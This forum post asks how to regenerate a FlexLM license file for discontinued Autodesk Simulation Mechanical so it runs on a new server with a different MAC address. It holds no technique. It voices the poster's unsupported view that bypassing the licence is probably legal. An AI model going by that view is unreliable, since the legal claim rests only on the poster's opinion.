Autodesk Simulation Mechanical discontinued but I want to keep using it

Like the title says, autodesk summarily dropped support of their simulation mechanical software and they refuse to issue any new license files for the software. So if you want to change machines you can't and if that machine dies, you're dead in the water.

The software uses a program called LMtools as a flex license server and it loads a license file keyed to the mac address of the server it is loaded on. The server is dying a slow death with random lockups and we need to change the server.

I tried simply changing the mac address in the license file to match the new machine, but I figured that was too simple to work and it didn't.

Is there a way to generate a new license file with a new mac address?

I don't even think this is illegal because they don't even sell or support the software anymore. In fact they don't even sell a product that can do the same things. They sell fusion 360 as a "replacement" but it's not remotely the same or with the same capability.

Any help would be appreciated.
